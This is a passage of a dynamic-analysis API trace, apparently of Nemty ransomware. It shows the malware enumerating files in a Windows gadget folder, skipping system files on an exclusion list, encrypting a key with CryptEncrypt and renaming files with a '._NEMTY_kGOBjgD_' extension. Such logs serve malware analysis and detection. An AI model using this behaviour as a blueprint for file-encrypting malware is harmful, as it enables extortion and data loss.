lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0147.696] CloseHandle (hObject=0xffffffff) returned 0 [0147.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0147.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0147.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_down.png._nemty_kgobjgd_")) returned 0 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0147.697] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85a854ae, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85a854ae, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2=".") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="..") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="...") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="windows") returned -1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="$RECYCLE.BIN") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="rsa") returned -1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="NTDETECT.COM") returned -1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="ntldr") returned -1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="MSDOS.SYS") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="IO.SYS") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="boot.ini") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="boot.ini") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="AUTOEXEC.BAT") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="ntuser.dat") returned -1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="desktop.ini") returned 1 [0147.697] lstrcmpiW (lpString1="next_hov.png", lpString2="CONFIG.SYS") returned 1 [0147.698] lstrcmpiW (lpString1="next_hov.png", lpString2="RECYCLER") returned -1 [0147.698] lstrcmpiW (lpString1="next_hov.png", lpString2="BOOTSECT.BAK") returned 1 [0147.698] lstrcmpiW (lpString1="next_hov.png", lpString2="bootmgr") returned 1 [0147.698] lstrcmpiW (lpString1="next_hov.png", lpString2="programdata") returned -1 [0147.698] lstrcmpiW (lpString1="next_hov.png", lpString2="appdata") returned 1 [0147.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_hov.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_hov.png", lpUsedDefaultChar=0x0) returned 12 [0147.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_hov.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_hov.png", lpUsedDefaultChar=0x0) returned 12 [0147.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_hov.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_hov.png", lpUsedDefaultChar=0x0) returned 12 [0147.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_hov.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_hov.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_hov.png", lpUsedDefaultChar=0x0) returned 12 [0147.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0147.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0147.698] Sleep (dwMilliseconds=0x5) [0147.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbae9f30, dwHighDateTime=0x1d561e8)) [0147.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbae9f30, dwHighDateTime=0x1d561e8)) [0147.699] GetLastError () returned 0x5 [0147.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.699] GetLastError () returned 0x5 [0147.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0147.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0147.699] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0147.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0147.699] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="PtB448Uuzy26mOLeeBURVyqGbX4teXYKRQuMRTXOz6LusGApXJWCWNinN3yKbEuh\r\n22oZoIEGSWHtY1JOr8/GcT8Nl0I0tEQXMpXpkAI5JYSilL6tIBx6nS50rIk8lUh3\r\nx/ZZLQspTpsNhnoMiz8eTqi1cf6Xzxn3eNsKlz/abzyTb3oRPZyP6BEnwEOswt8+\r\nJER2DgxT5A1Y2ImCwoPP/XtfVcuzlrec9ydy5YcpknZ9lJ6BAhBJ6zEX1oMdVuf9\r\nlsaZJQeRkYYBA5His9JxgUHSvsyYyJOGOsYIWU2ecd4QwQW39sulgBv80cJQA4Ma\r\nAewJw10BIYqteBGQZl8gCw==\r\n", pcchString=0x653e91c) returned 1 [0147.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0147.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0147.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0147.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0147.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.700] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0147.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0147.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0147.813] CloseHandle (hObject=0xffffffff) returned 0 [0147.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0147.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0147.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png._nemty_kgobjgd_")) returned 0 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0147.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0147.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 